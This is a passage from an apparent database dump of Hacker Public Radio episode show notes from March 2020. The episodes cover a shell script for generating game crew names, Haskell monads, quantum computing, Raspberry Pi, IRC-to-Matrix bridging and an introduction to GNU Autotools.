\r\nPaul Robinson (vocals), \r\nRoman Kravec (guitar), \r\nEd D\'Angelo (bass), \r\nDave Newman (drums), \r\nBrian Yarbrough (trumpet), \r\nTony Moore (trumpet). \r\n</pre>\r\n\r\n',30,78,0,'CC-BY-SA','FOSDEM 2020',0,0,1),
(3023,'2020-03-04','Critique My Script, Episode 1 - Qots-Crew-Gen',782,'Discussion of using a shell script to randomly generate a ten man aircrew.','<p>This is my second HPR episode and the first in what could be a series about shell scripts I have written. This episode goes through a short script which randomly generates first and last names for a ten man aircrew to use with the Avalon Hill game B-17 Queen of the Skies.</p>\r\n<p>You can see the basic script in action here:<br />\r\n<a href=\"https://www.sodface.com/misc/qots-crew-gen\" class=\"uri\">https://www.sodface.com/misc/qots-crew-gen</a></p>\r\n<p>and a more complicated version here, though based on the same underlying methodolgy:<br />\r\n<a href=\"https://www.sodface.com/misc/qots-crew-gen2\" class=\"uri\">https://www.sodface.com/misc/qots-crew-gen2</a></p>\r\n<p>Here’s the script:</p>\r\n<pre><code>#!/bin/sh\r\n\r\nfirst_names=&#39;./firstnames.txt&#39;\r\nlast_names=&#39;./surnames.txt&#39;\r\ncrew_positions=&#39;./positions.txt&#39;\r\ncrew_ranks=&#39;./ranks.txt&#39;\r\n\r\nlen_first_names=$(wc -l &lt; ${first_names})\r\nlen_last_names=$(wc -l &lt; ${last_names})\r\n\r\nnum_pairs=$(printf &quot;10 ${len_first_names} ${len_last_names}&quot; | \\\r\n    awk &#39;BEGIN { srand() }\r\n    { for (i=1; i&lt;=$1; i++) {\r\n        for(f = 2; f &lt;= NF; f++) {\r\n        num=int(rand() * $f + 1); printf num&quot;,&quot; } printf &quot;\\n&quot;\r\n    }\r\n    }&#39;)\r\n\r\ni=1\r\n\r\nfor crew_member in ${num_pairs}\r\ndo\r\n  line_num=$(printf &quot;${crew_member}&quot; | cut -d&#39;,&#39; -f1)\r\n  first_name=$(sed -n ${line_num}p ${first_names})\r\n\r\n  line_num=$(printf &quot;${crew_member}&quot; | cut -d&#39;,&#39; -f2)\r\n  last_name=$(sed -n ${line_num}p ${last_names})\r\n\r\n  crew_position=$(sed -n ${i}p ${crew_positions})\r\n  crew_rank=$(sed -n ${i}p ${crew_ranks})\r\n\r\n  #\r\n  # Use the variables above to generate HTML.\r\n  # Omitted here to simplify this example.\r\n  #\r\n\r\n  i=$((( ${i} +1 )))\r\ndone</code></pre>\r\n',380,0,0,'CC-BY-SA','Shell Script,Random Numbers,Awk',0,0,1),
(3024,'2020-03-05','A funny thing happened the other day',259,'Describing a funny thing that happened the other day.','<p>Equipment used</p>\r\n<ul>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/Nexus_7_(2013)\">Nexus 7 tablet</a></p></li>\r\n<li><p><a href=\"https://www.amazon.co.uk/HccToo-Multifunctional-Rechargeable-Dictaphone-Conversation/dp/B015H9JP6S/ref=sr_1_1?ie=UTF8&amp;qid=1502381150&amp;sr=8-1&amp;keywords=dictation+machines\">My faithful Dictaphone</a></p></li>\r\n<li><p>Noise source<br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3024_noise-source.JPG\" alt=\"Noise source\" width=\"400\" height=\"400\" /></p></li>\r\n</ul>\r\n',201,0,1,'CC-BY-SA','story, audio, sound',0,0,1),
(3027,'2020-03-10','What is quantum computing and why should we care?',1515,'What is all the quantum computing hype about & what is it that quantum computers will be able to do?','<h3 id=\"what-are-quantum-computers-anyway\">What are quantum computers anyway?</h3>\r\n<p>Physical computing systems that take advantage of quantum effects.</p>\r\n<h3 id=\"what-kind-of-quantum-effects-and-why-does-that-matter\">What kind of quantum effects, and why does that matter?</h3>\r\n<p>Entanglement and superposition: Entanglement lets us do unusual, head-scratching kinds of things like teleportation. Superposition lets us harness the almost unimaginable potential of quantum mechanics to do things that conventional computers can never do.</p>\r\n<h3 id=\"how-can-you-ever-explain-that-in-a-podcast\">How can you ever explain that in a podcast?</h3>\r\n<p>To really understand the details, you must have math, but math and audio formats are not so compatible. So I use analogies, and throw in some pithy quotes from Einstein and hope that does the trick.</p>\r\n<h3 id=\"big-picture\">Big picture?</h3>\r\n<p>Lots of work going on to build quantum processors (QPUs) that use quantum memory and, get this, will at some point actually do error correction. There are programming frameworks and rudimentary compilers to compile down python code all the way down to microwave pulses and laser pulses and there is control machinery to gather back the signals and interpret them to ones and zeros. Quantum computers will be securely networked using quantum protocols and we’ll all live happily ever after in a quantum computing world.</p>\r\n<p><b>Questions?</b> Please leave suggestions if you want to dive a bit deeper in some topic areas - it’ll encourage me to do more episodes.</p>\r\n',379,0,0,'CC-BY-SA','quantum computing',0,0,1),
(3028,'2020-03-11','Monads and Haskell',1275,'A hopefully not too rambly \"introduction\" to  functors and monads in and out of haskell','<p>This is basically a transcript of the post I wrote on the subject which I host <a href=\"https://www.crvs.xyz/posts_haskeljoin.html\">here</a> It has a bit more than what I talked about</p>\r\n<h1 id=\"join-in-haskell\">Join in Haskell</h1>\r\n<p><code>join</code> is a monadic operation, instead of working only on lists, it works on monads and has the signature:</p>\r\n<pre><code>   join :: Monad m =&gt; m ( m a ) -&gt; (m a)\r\n</code></pre>\r\n<p>In effect it <code>joins</code> or <code>merges</code> two successive monad applications into a single monad application. But join is not part of the canonical monad definition, which is given by:</p>\r\n<pre><code>   return ::  Monad m =&gt; a -&gt; m a` ; and`\r\n   (&gt;&gt;=) :: Monad m =&gt; m a -&gt; ( a -&gt; m b ) -&gt; m b\r\n</code></pre>\r\n<p>A good or rather trivial way to think of the relationship between <code>return</code> <code>join</code> and <code>(&gt;&gt;=)</code> is that in essence, since each monad is a functor, then what <code>(&gt;&gt;=)</code> does is that it maps the second argument over the first argument, and then uses <code>join</code> to merge the two applications of the monad constructor, i.e.:</p>\r\n<pre><code>  (x &gt;&gt;= f) = join $ fmap f x\r\n</code></pre>\r\n<p>However, join needs to be constructed from <code>return</code> and <code>(&gt;&gt;=)</code>. The naive solution is that we want to <code>trick</code> <code>(&gt;&gt;=)</code> to let us apply a function that does not pile up yet another <code>m</code> onto our initial type <code>m (m a)</code> and surprisingly, this will actually work if we let</p>\r\n<pre><code>   join x = (x &gt;&gt;= id)\r\n</code></pre>\r\n<p>Initially this is surprising since <code>id</code> has the signature <code>(c -&gt; c)</code> instead of the necessary <code>a -&gt; m b</code>! However, when <code>c</code> is not an atomic type, but rather of the form <code>m d</code> for some (maybe atomic) type <code>d</code>, then we actually have the signature <code>m d -&gt; m d</code>, and if we bind type <code>a</code> to <code>m d</code> and type <code>b</code> to <code>d</code>, we obtain <code>id</code> with actual type signatuare <code>a -&gt; m b</code>, and it can indeed be used as the second argument of <code>(&gt;&gt;=)</code>, and everything actually makes sense.</p>\r\n<p>Now style is important and so we can do an eta reduction on this, to get a point-free implementation by simply binding the second argument of <code>&gt;&gt;=</code>:</p>\r\n<pre><code>   join = (&gt;&gt;= id)\r\n</code></pre>\r\n<p>This is all fine and well for the type number, and it <em>does</em> work, but it\'s also important to understand how it works, so let\'s see it in a simple example, using the <code>Maybe</code> monad. So let\'s start by refreshing the implementation of the monad instance:</p>\r\n<pre><code>instance Monad Maybe where\r\n\r\n   (&gt;&gt;=) :: Maybe a -&gt; (a -&gt; Maybe b) -&gt; Maybe b\r\n   (&gt;&gt;=) Nothing _ = Nothing\r\n   (&gt;&gt;=) (Just x) f = f x\r\n\r\n   return :: a -&gt; Maybe a\r\n   return = Just\r\n</code></pre>\r\n<p>So let\'s now go through the successive bindings when performing <code>(&gt;&gt;=id)</code>:</p>\r\n<pre><code>   Just x = Just (Just 2) =&gt; x = Just 2\r\n   Just x &gt;&gt;= id = id x = x\r\n   x = Just 2\r\n</code></pre>\r\n<p>This example is pretty much verbatim the same thing for the <code>Either</code> monad and many other monads that follow a similar principle, so let\'s look at a bit more of a complex example. Let\'s look at the <code>List</code> monad:</p>\r\n<p>instance Monad List where</p>\r\n<pre><code>   (&gt;&gt;=) :: [a] -&gt; (a -&gt; [b]) -&gt; [b]\r\n   (&gt;&gt;=) [] _ = []\r\n   (&gt;&gt;=) (x:xs) f = f x ++ (xs &gt;&gt;= f)\r\n\r\n   return :: a -&gt; [a]\r\n   return = (:[])\r\n</code></pre>\r\n<p>Following the bindings again we have</p>\r\n<pre><code>   [[2,3],[4]] = (x:xs) =&gt; x = [2,3] ; xs = [[4]]\r\n   (x:xs) &gt;&gt;= id = (id x) ++ (xs &gt;&gt;= id) = x ++ (xs &gt;&gt;= id)\r\n   [[4]] = (y:ys) =&gt; y = [4] ; ys = []\r\n   (y:ys) &gt;&gt;= id = y ++ (ys &gt;&gt;= id)\r\n   ys = [] =&gt; (ys &gt;&gt;= id) = []\r\n   =&gt; (y:ys) &gt;&gt;= id  =  [4] ++ [] = [4]\r\n   =&gt; xs &gt;&gt;= id = [4]\r\n   =&gt; (x:xs) &gt;&gt;= id = x ++ [4] = [2,3] ++ [4] = [2,3,4]\r\n</code></pre>\r\n<p>So all of this is to say that <code>join</code> actually does what one expects it to do on a list of lists. It joins them one by one into a single list.</p>\r\n<h1 id=\"the-associativity-law\">The Associativity Law</h1>\r\n<p>The associativity law of a monad can be quite confusing, after all it takes the form:</p>\r\n<pre><code>   (m &gt;&gt;= f) &gt;&gt;= g == m &gt;&gt;= ( x -&gt; f x &gt;&gt;= g )\r\n</code></pre>\r\n<p>While not too complicated to understand it is difficult to see how it relates to a usual associativity law, which follows the form <code>a * (b * c) = (a * b) * c</code>. To recover the associativity the usual explanation is that one has to see it in terms of the monadic function composition <code>(&gt;=&gt;)</code> and while this is a valid way of doing so, I like to decompose things in terms of <code>fmap</code>, <code>(&gt;&gt;=)</code> and <code>join</code>.</p>\r\n<p>So let\'s use what we did previously on the associativity law, starting on the left side, and replacing the atomic-looking type <code>m</code> with the dependent type <code>M z</code>:</p>\r\n<pre><code>   (M z &gt;&gt;= f) &gt;&gt;= g\r\n   = join (fmap f (M z)) &gt;&gt;= g\r\n   = join (fmap g $ join ( fmap f (M z)))\r\n   = join (fmap g $ join ( M (f z) )\r\n</code></pre>\r\n<p>and the right-hand side:</p>\r\n<pre><code>   M z &gt;&gt;= ( x -&gt; f x &gt;&gt;= g )\r\n   = M z &gt;&gt;= ( x -&gt; join $ fmap g (f x))\r\n   = join $ fmap ( x -&gt; join $ fmap g (f x)) (M z)\r\n   = join $ M ( x -&gt; join $ fmap g (f x)) z\r\n   = join $ M (join $ fmap g (f z))\r\n</code></pre>\r\n<p>And essentially what it says is that if I have two functions <code>f</code> and <code>g</code> I can either do it in an orderly fashion where I apply them sequentially with <code>join . fmap f</code> followed by <code>join . fmap g</code>, or I can apply them both within the constructor and then join once within the constructor and one outside the constructor, and I should get the same thing. In fact if you replace <code>f</code> and <code>g</code> with <code>id</code>; this is the associativity law for monads as usually presented in a standard category theory textbook such as Mac Lane\'s Categories for the Working Mathematician (and recovering this was the whole point of this exercise in the first place).</p>\r\n',385,107,1,'CC-BY-SA','Haskell, Programming, Math',0,0,1),
(3029,'2020-03-12','At Union Station with a train delay',347,'This is a soundscape while waiting for a train at Union Station.','<p>I was waiting for the Metra train, when there was an announcement that the train would be late due to a server failure.</p>',318,101,0,'CC-BY-SA','soundscape, trains',0,0,1),
(3030,'2020-03-13','My new Samsung tablet',1686,'A general discussion about my new 10.5 inch Samsung Galaxy tablet','<ul>\r\n<li><p>Samsung Galaxy Tab A 10.5 inch 2018 Tablet at 3:30<br />\r\n<a href=\"https://www.amazon.co.uk/Samsung-Galaxy-10-5-WiFi-Black/dp/B07GG5DSTW/ref=asc_df_B07GG5DSTW/?tag=googshopuk-21&amp;linkCode=df0&amp;hvadid=310819184817&amp;hvpos=1o1&amp;hvnetw=g&amp;hvrand=16845709935342815174&amp;hvpone=&amp;hvptwo=&amp;hvqmt=&amp;hvdev=c&amp;hvdvcmdl=&amp;hvlocint=&amp;hvlocphy=9046893&amp;hvtargid=aud-858395717453:pla-667424753514&amp;psc=1&amp;th=1&amp;psc=1\">Amazon link</a></p></li>\r\n<li><p>Nexus 7 at 3:50<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Nexus_7_(2013)\" class=\"uri\">https://en.wikipedia.org/wiki/Nexus_7_(2013)</a></p></li>\r\n<li><p>New tablet Battery at 5:20<br />\r\nLithium Polymer batteries, 7300 mAh capacity with claimed 15 hours of video playback on one charge. It seems to charge surprisingly quickly.</p></li>\r\n<li><p>Wikipedia entry for Edinburgh City Bypass at 9:30<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Edinburgh_City_Bypass\" class=\"uri\">https://en.wikipedia.org/wiki/Edinburgh_City_Bypass</a></p></li>\r\n<li><p>Eye strain at 14:07</p></li>\r\n<li><p>Bluetooth Ear buds at 15:15<br />\r\nSimilar to these: <a href=\"https://www.amazon.co.uk/Bluetooth-Wireless-Headphones-Canceling-Compatible-white/dp/B084ST42CL/ref=sr_1_13?keywords=bluetooth+earbuds&amp;qid=1582899080&amp;sr=8-13\">Amazon link</a></p></li>\r\n<li><p>Bluetooth speaker at 16:52<br />\r\n<a href=\"https://www.amazon.co.uk/EasyAcc-Portable-Rechargeable-Bluetooth-Microphone/dp/B00JK6MQEI/ref=sr_1_2?crid=1X95EE1DRL6DI&amp;keywords=bluetooth+speaker+easyacc&amp;qid=1582899239&amp;sprefix=bluetooth+speaker+easy+%2Caps%2C161&amp;sr=8-2\">Amazon link</a></p></li>\r\n<li><p>Bluetooth keyboard at 22:35<br />\r\n<a href=\"https://www.amazon.co.uk/Universal-Adjustable-Brightness-Smartphone-Rechargeable/dp/B00X5P8BJO/ref=sr_1_1?crid=1K2NT7A80IVPK&amp;keywords=arteck+universal+backlit+7-colors&amp;qid=1582899392&amp;sprefix=Artec+Uni%2Caps%2C160&amp;sr=8-1\">Amazon link</a></p></li>\r\n<li><p>Additional thoughts after recording this episode</p>\r\n<ul>\r\n<li><p>Closing one eye seems to solve the problem though not very practical. It doesn’t seem to matter which eye I close.</p></li>\r\n<li><p>Doesn’t seem to bother me with the other 8” Samsung tablet or any other tablet / phone.</p></li>\r\n<li><p>Counter intuitively increasing the brightness makes things better</p></li>\r\n<li><p>Searching for eye strain and Samsung brought up one or two results of people saying a similar thing to myself; one person commenting that they were fed up of people telling them to get an eye test and like myself they do not have this problem with any other device.</p></li>\r\n</ul></li>\r\n</ul>\r\n',201,0,1,'CC-BY-SA','Android, Tablet',0,0,1),
(3031,'2020-03-16','Daniel Persson - Me? Me!',1131,'I talk about who I am and where I come from and what my interests are.','<p>Talking about my history, forgot to talk about my open-source interests and different projects I’m a part of.</p>\r\n<p>If you want to know more about me you could follow any of the links below.</p>\r\n<ul>\r\n<li><p><a href=\"https://danielpersson.dev/\" class=\"uri\">https://danielpersson.dev/</a></p></li>\r\n<li><p><a href=\"https://youtube.com/c/DanielPersson\" class=\"uri\">https://youtube.com/c/DanielPersson</a></p></li>\r\n<li><p><a href=\"https://github.com/kalaspuffar\" class=\"uri\">https://github.com/kalaspuffar</a></p></li>\r\n<li><p><a href=\"https://github.com/sqrldev/wordpress-sqrl-login\" class=\"uri\">https://github.com/sqrldev/wordpress-sqrl-login</a></p></li>\r\n</ul>\r\n',382,0,0,'CC-BY-SA','biography',0,0,1),
(3032,'2020-03-17','piCore on a Raspberry Pi 1 Model B',651,'How I revived my Raspberry Pi Model 1 B with piCore and a tiny SD card.','<p>In this episode, I discuss how I revived my Raspberry Pi 1 Model B using piCore, a specialized version of Tiny Core Linux for the Raspberry Pi, on a 128 MB SD card that I had laying around. I also mention nanoBSD and Alpine Linux as possible alternatives to try out.</p>\r\n<ul>\r\n<li><p>Tiny Core Linux<br />\r\n<a href=\"https://tinycorelinux.net/\" class=\"uri\">https://tinycorelinux.net/</a></p></li>\r\n<li><p>piCore Releases<br />\r\n<a href=\"https://www.tinycorelinux.net/9.x/armv6/\" class=\"uri\">https://www.tinycorelinux.net/9.x/armv6/</a></p></li>\r\n<li><p>nanoBSD<br />\r\n<a href=\"https://www.freebsd.org/doc/en_US.ISO8859-1/articles/nanobsd/index.html\" class=\"uri\">https://www.freebsd.org/doc/en_US.ISO8859-1/articles/nanobsd/index.html</a><br />\r\n<a href=\"https://www.freebsd.org/doc/en_US.ISO8859-1/articles/nanobsd/howto.html\" class=\"uri\">https://www.freebsd.org/doc/en_US.ISO8859-1/articles/nanobsd/howto.html</a></p></li>\r\n<li><p>Alpine Linux<br />\r\n<a href=\"https://alpinelinux.org/\" class=\"uri\">https://alpinelinux.org/</a><br />\r\n<a href=\"https://wiki.alpinelinux.org/wiki/Raspberry_Pi\" class=\"uri\">https://wiki.alpinelinux.org/wiki/Raspberry_Pi</a></p></li>\r\n</ul>\r\n',152,0,0,'CC-BY-SA','raspberrypi,rpi,linux,bsd',0,0,1),
(3033,'2020-03-18','Linux Inlaws S01E03 32 Bit Time Travel',3543,'Linux Inlaws - a podcast on topics around free and open source software','<p>For show notes, please visit <a href=\"https://linuxinlaws.eu\" class=\"uri\">https://linuxinlaws.eu</a></p>',384,111,1,'CC-BY-SA','Linux Inlaws, free open source software, revolution, FLOSS',0,0,1),
(3034,'2020-03-19','How to bridge Freenode IRC rooms to Matrix.org',786,'Thaj builds upon a previous episode by Clacke to deep dive into bridging IRC to Matrix.org','<ul>\r\n<li><p>Attribution</p>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\">Clacke</a> - <a href=\"https://hackerpublicradio.org/eps.php?id=2169\">HPR Episode 2169 on Matrix</a></li>\r\n<li><a href=\"https://thelovebug.org/\">Dave Lee</a> - Helped a great deal in getting me on board with Matrix bridging. Check out his other podcasts at <a href=\"https://otherside.network/\">The Other Side Podcast Network</a></li>\r\n</ul></li>\r\n<li><p><a href=\"matrix.org\">Matrix.org</a> is a Free, open source, and decentralized messaging system. One of the strong points of this system is its ability to <a href=\"https://matrix.org/bridges\">bridge</a> multiple protocols together into one interface.</p></li>\r\n<li><p><a href=\"https://about.riot.im/\">Riot.im</a></p></li>\r\n<li><p>Bridging to Freenode\'s IRC server is built into Matrix.org. If you already have a registered Nick on Freenode it is a simple process to associate your Matrix and Freenode accounts.</p></li>\r\n<li><p>Steps to bridge to a Freenode IRC room</p>\r\n<ol>\r\n<li>Start a direct message with @freenode_NickServ:matrix.org and send the command <code>identify nick pass</code> (replacing nick and pass with your credentials).</li>\r\n<li>Direct message @appservice-irc:matrix.org with the command <code>!storepass nick:pass</code></li>\r\n<li>Join the room #freenode_#oggcastplanet:matrix.org. <em>You can really join any room on freenode with #freenode_#CHANNAME:matrix.org</em></li>\r\n<li>PROFIT!!!!</li>\r\n</ol></li>\r\n</ul>\r\n',270,108,0,'CC-BY-SA','Freenode, IRC, Matrix.org, Riot.im, Social Media',0,0,1),
(3037,'2020-03-24','Ambient recording at Union Station',205,'Ambient recording in the main hall at Union Station, Chicago','<p>This was recorded in the main hall at Union Station in Chicago, Illinois.<br />\r\nThere was a brief security announcement about watching for bags or package left unattended.</p>',318,101,0,'CC-BY-SA','soundscape, train station',0,0,1),
(3038,'2020-03-25','Solo Magic',2244,'All the magic without the gathering','<p>This episode outlines my single-player mod for the <strong>Magic: The Gathering</strong> card game.</p>',78,95,0,'CC-BY-SA','magic, mtg',0,0,1),
(3040,'2020-03-27','Why use GNU Autotools',1766,'6 good reasons you should be using a build system','<p>GNU Autotools is a build system that helps you distribute your code in a predictable and reliable way.\r\nBuild systems offer many benefits, including:\r\n</p>\r\n\r\n<ol>\r\n<li>Standard and automate-able build process</li>\r\n<li>hooks into packaging systems (RPM, DEB, Slackbuilds, Flatpak, Snap, and so on)</li>\r\n<li>version reporting</li>\r\n<li>build for various OSes</li>\r\n<li>you get lots of  code to handle every possible corner case, for free</li>\r\n<li>with a single configuration, you can build your project as the developer, build it for packagers, and enable users to build it for themselves</li>\r\n</ol>\r\n\r\n<p>Next up: how to use GNU Autotools</p>',78,0,0,'CC-BY-SA','autotools,build,make',0,0,1),
(3041,'2020-03-30','How to use GNU Autotools',2337,'How to use GNU Autotools','<p>I found a great article on this topic here: <a href=\"\" target=\"_blank\">https://opensource.com/article/19/7/introduction-gnu-autotools</a>, so please refer to that as show notes.</p>\r\n<p>\r\n<small>\r\nPage included by Ken, as permitted by cc-by-sa\r\n</small>\r\n</p>\r\n<h1>Introduction to GNU Autotools</h1>\r\n\r\n<p id=\"introduction-to-gnu-autotools\">Have you ever downloaded the source code for a popular software project that required you to type the almost ritualistic <strong>./configure; make &amp;&amp; make install</strong> command sequence to build and install it? If so, you’ve used <a href=\"https://www.gnu.org/software/automake/faq/autotools-faq.html\" target=\"_blank\">GNU Autotools</a>. If you’ve ever looked into some of the files accompanying such a project, you’ve likely also been terrified at the apparent complexity of such a build system.</p>\r\n\r\n<p>Good news! GNU Autotools is a lot simpler to set up than you think, and it’s GNU Autotools itself that generates those 1,000-line configuration files for you. Yes, you can write 20 or 30 lines of installation code and get the other 4,000 for free.</p>\r\n\r\n<h2 id=\"autotools-at-work\">Autotools at work</h2>\r\n\r\n<p>If you’re a user new to Linux looking for information on how to install applications, you do not have to read this article! You’re welcome to read it if you want to research how software is built, but if you’re just installing a new application, go read my article about <a href=\"https://opensource.com/article/18/1/how-install-apps-linux\">installing apps on Linux</a>.</p>\r\n\r\n<p>For developers, Autotools is a quick and easy way to manage and package source code so users can compile and install software. Autotools is also well-supported by major packaging formats, like DEB and RPM, so maintainers of software repositories can easily prepare a project built with Autotools.</p>\r\n\r\n<p>Autotools works in stages:</p>\r\n\r\n<ol>\r\n<li>First, during the <strong>./configure</strong> step, Autotools scans the host system (the computer it’s being run on) to discover the default settings. Default settings include where support libraries are located, and where new software should be placed on the system.</li>\r\n<li>Next, during the <strong>make</strong> step, Autotools builds the application, usually by converting human-readable source code into machine language.</li>\r\n<li>Finally, during the <strong>make install</strong> step, Autotools copies the files&nbsp;it built to the appropriate locations (as detected during the configure stage) on your computer.</li>\r\n</ol><p>This process seems simple, and it is, as long as you use Autotools.</p>\r\n\r\n<h2 id=\"the-autotools-advantage\">The Autotools advantage</h2>\r\n\r\n<p>GNU Autotools is a big and important piece of software that most of us take for granted. Along with <a href=\"https://en.wikipedia.org/wiki/GNU_Compiler_Collection\" target=\"_blank\">GCC (the GNU Compiler Collection)</a>, Autotools is the scaffolding that allows Free Software to be constructed and installed to a running system. If you’re running a <a href=\"https://en.wikipedia.org/wiki/POSIX\" target=\"_blank\">POSIX</a> system, it’s not an understatement to say that most of your operating system exists as runnable software on your computer because of these projects.</p>\r\n\r\n<p>In the likely event that your pet project isn’t an operating system, you might assume that Autotools is overkill for your needs. But, despite its reputation, Autotools has lots of little features that may benefit you, even if your project is a relatively simple application or series of scripts.</p>\r\n\r\n<h3 id=\"portability\">Portability</h3>\r\n\r\n<p>First of all, Autotools comes with portability in mind. While it can’t make your project work across all POSIX platforms (that’s up to you, as the coder), Autotools can ensure that the files you’ve marked for installation get installed to the most sensible locations on a known platform. And because of Autotools, it’s trivial for a power user to customize and override any non-optimal value, according to their own system.</p>\r\n\r\n<p>With Autotools, all you need to know is what files need to be installed to what general location. It takes care of everything else. No more custom install scripts that break on any untested OS.</p>\r\n\r\n<h3 id=\"packaging\">Packaging</h3>\r\n\r\n<p>Autotools is also well-supported. Hand a project with Autotools over to a distro packager, whether they’re packaging an RPM, DEB, TGZ, or anything else, and their job is simple. Packaging tools know Autotools, so there’s likely to be no patching, hacking, or adjustments necessary. In many cases, incorporating an Autotools project into a pipeline can even be automated.</p>\r\n\r\n<h2 id=\"how-to-use-autotools\">How to use Autotools</h2>\r\n\r\n<p>To use Autotools, you must first have Autotools installed. Your distribution may provide one package meant to help developers build projects, or it may provide separate packages for each component, so you may have to do some research on your platform to discover what packages you need to install.</p>\r\n\r\n<p>The primary components of Autotools are:</p>\r\n\r\n<ul>\r\n<li><strong>automake</strong></li>\r\n<li><strong>autoconf</strong></li>\r\n<li><strong>make</strong></li>\r\n</ul>\r\n\r\n<p>While you likely need to install the compiler (GCC, for instance) required by your project, Autotools works just fine with scripts or binary assets that don’t need to be compiled. In fact, Autotools can be useful for such projects because it provides a <strong>make uninstall</strong> script for easy removal.</p>\r\n\r\n<p>Once you have all of the components installed, it’s time to look at the structure of your project’s files.</p>\r\n\r\n<h3 id=\"autotools-project-structure\">Autotools project structure</h3>\r\n\r\n<p>GNU Autotools has very specific expectations, and most of them are probably familiar if you download and build source code often. First, the source code itself is expected to be in a subdirectory called <strong>src</strong>.</p>\r\n\r\n<p>Your project doesn’t have to follow all of these expectations, but if you put files in non-standard locations (from the perspective of Autotools), then you’ll have to make adjustments for that in your Makefile later.</p>\r\n\r\n<p>Additionally, these files are required:</p>\r\n\r\n<ul>\r\n<li><strong>NEWS</strong></li>\r\n<li><strong>README</strong></li>\r\n<li><strong>AUTHORS</strong></li>\r\n<li><strong>ChangeLog</strong></li>\r\n</ul>\r\n\r\n<p>You don’t have to actively use the files, and they can be symlinks to a monolithic document (like <strong>README.md</strong>) that encompasses all of that information, but they must be present.</p>\r\n\r\n<h3 id=\"autotools-configuration\">Autotools configuration</h3>\r\n\r\n<p>Create a file called <strong>configure.ac</strong> at your project’s root directory. This file is used by <strong>autoconf</strong> to create the <strong>configure</strong> shell script that users run before building. The file must contain, at the very least, the <strong>AC_INIT</strong> and <strong>AC_OUTPUT</strong> <a href=\"https://www.gnu.org/software/autoconf/manual/autoconf-2.67/html_node/Initializing-configure.html\" target=\"_blank\">M4 macros</a>. You don’t need to know anything about the M4 language to use these macros; they’re already written for you, and all of the ones relevant to Autotools are defined in the documentation.</p>\r\n\r\n<p>Open the file in your favorite text editor. The <strong>AC_INIT</strong> macro may consist of the package name, version, an email address for bug reports, the project URL, and optionally the name of the source TAR file.</p>\r\n\r\n<p>The <strong><a href=\"https://www.gnu.org/software/autoconf/manual/autoconf-2.67/html_node/Output.html#Output\" target=\"_blank\">AC_OUTPUT</a></strong> macro is much simpler and accepts no arguments.</p>\r\n\r\n<pre>AC_INIT([penguin], [2019.3.6], [seth@example.com])<br>\r\nAC_OUTPUT</pre>\r\n\r\n<p>If you were to run <strong>autoconf</strong> at this point, a <strong>configure</strong> script would be generated from your <strong>configure.ac</strong> file, and it would run successfully. That’s all it would do, though, because all you have done so far is define your project’s metadata and called for a configuration script to be created.</p>\r\n\r\n<p>The next macros you must invoke in your <strong>configure.ac</strong> file are functions to create a <a href=\"https://www.gnu.org/software/make/manual/html_node/Introduction.html\" target=\"_blank\">Makefile</a>. A Makefile tells the <strong>make</strong> command what to do (usually, how to compile and link a program).</p>\r\n\r\n<p>The macros to create a Makefile are <strong>AM_INIT_AUTOMAKE</strong>, which accepts no arguments, and <strong>AC_CONFIG_FILES</strong>, which accepts the name you want to call your output file.</p>\r\n\r\n<p>Finally, you must add a macro to account for the compiler your project needs. The macro you use obviously depends on your project. If your project is written in C++, the appropriate macro is <strong>AC_PROG_CXX</strong>, while a project written in C requires <strong>AC_PROG_CC</strong>, and so on, as detailed in the <a href=\"https://www.gnu.org/software/automake/manual/html_node/Programs.html#Programs\" target=\"_blank\">Building Programs and Libraries</a> section in the Autoconf documentation.</p>\r\n\r\n<p>For example, I might add the following for my C++ program:</p>\r\n\r\n<pre>AC_INIT([penguin], [2019.3.6], [seth@example.com])<br>\r\nAC_OUTPUT<br>\r\nAM_INIT_AUTOMAKE<br>\r\nAC_CONFIG_FILES([Makefile])<br>\r\nAC_PROG_CXX</pre>\r\n\r\n<p>Save the file. It’s time to move on to the Makefile.</p>\r\n\r\n<h3 id=\"autotools-makefile-generation\">Autotools Makefile generation</h3>\r\n\r\n<p>Makefiles aren’t difficult to <a href=\"https://opensource.com/article/18/8/what-how-makefile\" target=\"_blank\">write manually</a>, but Autotools can write one for you, and the one it generates will use the configuration options detected during the <code>./configure</code> step, and it will contain far more options than you would think to include or want to write yourself. However, Autotools can’t detect everything your project requires to build, so you have to add some details in the file <strong>Makefile.am</strong>, which in turn is used by <strong>automake</strong> when constructing a Makefile.</p>\r\n\r\n<p><strong>Makefile.am</strong> uses the same syntax as a Makefile, so if you’ve ever written a Makefile from scratch, then this process will be familiar and simple. Often, a <strong>Makefile.am</strong> file needs only a few variable definitions to indicate what files are to be built, and where they are to be installed.</p>\r\n\r\n<p>Variables ending in <strong>_PROGRAMS</strong> identify code that is to be built (this is usually considered the <em>primary</em> target; it’s the main reason the Makefile exists). Automake recognizes other primaries, like <strong>_SCRIPTS</strong>, <strong>_DATA</strong>, <strong>_LIBRARIES</strong>, and other common parts that make up a software project.</p>\r\n\r\n<p>If your application is literally compiled during the build process, then you identify it as a binary program with the <strong>bin_PROGRAMS</strong> variable, and then reference any part of the source code required to build it (these parts may be one or more files to be compiled and linked together) using the program name as the variable prefix:</p>\r\n\r\n<pre>bin_PROGRAMS = penguin<br>\r\npenguin_SOURCES = penguin.cpp</pre>\r\n\r\n<p>The target of <strong>bin_PROGRAMS</strong> is installed into the <strong>bindir</strong>, which is user-configurable during compilation.</p>\r\n\r\n<p>If your application isn’t actually compiled, then your project doesn’t need a <strong>bin_PROGRAMS</strong> variable at all. For instance, if your project is a script written in Bash, Perl, or a similar interpreted language, then define a <strong>_SCRIPTS</strong> variable instead:</p>\r\n\r\n<pre>bin_SCRIPTS = bin/penguin</pre>\r\n\r\n<p>Automake expects sources to be located in a directory called <strong>src</strong>, so if your project uses an alternative directory structure for its layout, you must tell Automake to accept code from outside sources:</p>\r\n\r\n<pre>AUTOMAKE_OPTIONS = foreign subdir-objects</pre>\r\n\r\n<p>Finally, you can create any custom Makefile rules in <strong>Makefile.am</strong> and they’ll be copied verbatim into the generated Makefile. For instance, if you know that a temporary value needs to be replaced in your source code before the installation proceeds, you could make a custom rule for that process:</p>\r\n\r\n<pre>all-am: penguin<br>\r\n&nbsp; &nbsp; &nbsp; &nbsp; touch bin/penguin.sh<br>\r\n&nbsp; &nbsp; &nbsp; 